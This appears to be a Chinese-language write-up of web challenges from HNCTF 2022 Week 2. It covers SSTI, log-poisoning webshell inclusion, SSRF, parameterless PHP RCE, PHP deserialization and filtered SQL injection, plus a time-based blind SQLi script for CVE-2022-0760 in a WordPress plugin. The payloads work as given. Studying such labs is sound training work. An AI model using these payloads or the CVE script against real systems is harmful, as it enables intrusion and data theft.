HNCTF 2022 Week2 web方向
ez_SSTI
进题后找了一下,发现除了一个外部链接什么也没有,随后用Arjun爆破了一下是否有可传递的参数,成功发现了用GET方式上传的name参数
结合题目可知是ssti注入,用name传入**{{6*6}}**得到回显36,证明该处是注入点。
不存在过滤,直接使用tplmap获取shell,然后抓取flag。
easy_include
根据题目可知该题是文件包含的题目
<?php
//WEB手要懂得搜索
if(isset($_GET['file'])){
$file = $_GET['file'];
if(preg_match("/php|flag|data|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=/i", $file)){
die("error");
}
include($file);
}else{
highlight_file(__FILE__);
}
过滤了php,那么使用php伪文件读取应该是行不通了,尝试通过日志包含写入一句话木马。用bp抓包,在url后添加一句话木马(不可直接在网页的url后写),使得日志读入,在数据包中可知中间件为nginx,日志位于/var/log/nginx/access.log ,用蚁剑连接该地址,找到flag
ez_ssrf
根据题目描述,直接访问/index.php,得到如下代码
<?php
highlight_file(__FILE__);
error_reporting(0);
$data=base64_decode($_GET['data']);
$host=$_GET['host'];
$port=$_GET['port'];
$fp=fsockopen($host,intval($port),$error,$errstr,30);
if(!$fp) {
die();
}
else {
fwrite($fp,$data);
while(!feof($data))
{
echo fgets($fp,128);
}
fclose($fp);
}
根据代码可知存在ssrf漏洞。但是不知道要连接的地址,用dirsearch扫了一下得到了flag.php,前往得知需要使用localhost,那么ip设置为127.0.0.1,端口设置为80,data的脚本如下
<?php
$out = "GET /flag.php HTTP/1.1\r\n";
$out .= "Host: 127.0.0.1\r\n";
$out .= "Connection: Close\r\n\r\n";
echo base64_encode($out);
最终payload如下
data=R0VUIC9mbGFnLnBocCBIVFRQLzEuMQ0KSG9zdDogMTI3LjAuMC4xDQpDb25uZWN0aW9uOiBDbG9zZQ0KDQo=&host=127.0.0.1&port=80
Canyource
进题代码如下
<?php
highlight_file(__FILE__);
if(isset($_GET['code'])&&!preg_match('/url|show|high|na|info|dec|oct|pi|log|data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['code'])){
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {
eval($_GET['code']);}
else
die('nonono');}
else
echo('please input code');
?>
可知是无参数rce,传入的内容分别如下
code=var_dump(scandir(current(localeconv())));//查看目录
code=var_dump(file_get_contents(next(array_reverse(scandir(pos(localeconv()))))));//flag位于倒数数组第二个位置,故先将数组倒过来然后读取下一个即可读取flag
easy_unser
进题代码如下
<?php
include 'f14g.php';
error_reporting(0);
highlight_file(__FILE__);
class body{
private $want,$todonothing = "i can't get you want,But you can tell me before I wake up and change my mind";
public function __construct($want){
$About_me = "When the object is created,I will be called";
if($want !== " ") $this->want = $want;
else $this->want = $this->todonothing;
}
function __wakeup(){
$About_me = "When the object is unserialized,I will be called";
$but = "I can CHANGE you";
$this-> want = $but;
echo "C1ybaby!";
}
function __destruct(){
$About_me = "I'm the final function,when the object is destroyed,I will be called";
echo "So,let me see if you can get what you want\n";
if($this->todonothing === $this->want)
die("鲍勃,别傻愣着!\n");
if($this->want == "I can CHANGE you")
die("You are not you....");
if($this->want == "f14g.php" OR is_file($this->want)){
die("You want my heart?No way!\n");
}else{
echo "You got it!";
highlight_file($this->want);
}
}
}
class unserializeorder{
public $CORE = "人类最大的敌人,就是无序. Yahi param vaastavikta hai!<BR>";
function __sleep(){
$About_me = "When the object is serialized,I will be called";
echo "We Come To HNCTF,Enjoy the ser14l1zti0n <BR>";
}
function __toString(){
$About_me = "When the object is used as a string,I will be called";
return $this->CORE;
}
}
$obj = new unserializeorder();
echo $obj;
$obj = serialize($obj);
if (isset($_GET['ywant']))
{
$ywant = @unserialize(@$_GET['ywant']);
echo $ywant;
}
?>
反序列化的题目,简单地分析一下,最终要执行的代码是body类中的__destruct()方法内的highlight_file($this->want);,为此需要绕过三个判断语句,第一个判断的话只要want不为空就行,第二个的话绕过__wakeup()魔术方法即可,第三个的话让want为伪协议即可。由于want变量为私有属性,故输出的时候需要url编码,脚本如下
<?php
class body{
private $want = "php://filter/convert.base64-encode/resource=f14g.php";
}
$a = new body();
echo urlencode(serialize($a));
将输出的payload中的对象属性改为2,绕过**__wakeup()**魔术方法后上传即可得到flag
easy_sql
先进行fuzz测试,发现过滤了如下内容
注释符,空格,order,以及information_schema默认数据库的过滤是该题主要的考点,注释符可以使用 '1 或者 ;%00 替换,空格可以使用/**/替换,order可以使用group替换,information_schema过滤那么就可以使用无列名注入。
id=1'/**/group/**/by/**/3;%00 //判断出有三列
id=1'/**/union/**/select/**/1,2,3;%00 //得出回显位为3
id=1'/**/union/**/select/**/1,2,group_concat(database_name)/**/from/**/mysql.innodb_table_stats;%00 //爆出库名为ctf,ctftraining,ctftraining,ctftraining,mysql
id=1'/**/union/**/select/**/1,2,group_concat(table_name)/**/from/**/mysql.innodb_table_stats;%00 //爆出所有表名为ccctttfff,flag,news,users,gtid_slave_pos
id=1'/**/union/**/select/**/1,2,`1`/**/from/**/(select/**/1/**/union/**/select/**/*/**/from/**/ctftraining.flag)/**/as/**/m;%00 //利用无列名注入读取flag
ohmywordpress
根据题目的标签可知该题考点是CVE-2022-0760漏洞,搜索后该漏洞的具体描述如下
WordPress是Wordpress基金会的一套使用PHP语言开发的博客平台。该平台支持在PHP和MySQL的服务器上架设个人博客网站。WordPress plugin是WordPress开源的一个应用插件。
WordPress plugin Simple Link Directory 7.7.2 版本之前存在SQL注入漏洞,该漏洞源于程序在使用qcopd_upvote_action AJAX操作的SQL语句中的post_id参数前未对其进行正确验证和转义。未经身份认证的攻击者可利用该漏洞进行SQL注入。
这里直接借用Jay17师傅的脚本
import requests
import time
url = "http://node5.anna.nssctf.cn:28520/wp-admin/admin-ajax.php"
result = ""
for i in range(1, 100):
length = len(result)
for o in range(32, 128):
data = {
"action": "qcopd_upvote_action",
# "post_id": f"(SELECT 3 FROM (select if(ascii(substr((select group_concat(schema_name) from information_schema.schemata),{i},1))={o},sleep(3),0))enz)",
# "post_id": f"(SELECT 3 FROM (select if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=substr((select group_concat(schema_name) from information_schema.schemata),26,11)),{i},1))={o},sleep(3),0))enz)",
"post_id": f"(SELECT 3 FROM (select if(ascii(substr((select group_concat(a) from (select 1 as a union select * from ctftraining.flag)b),{i},1))={o},sleep(3),0))enz)",
}
time1 = time.time()
res = requests.post(url, data=data)
time2 = time.time()
# print(time2 - time1)
# exit()
if time2 - time1 > 3:
result += chr(o)
print(result)
break
if len(result) == length:
break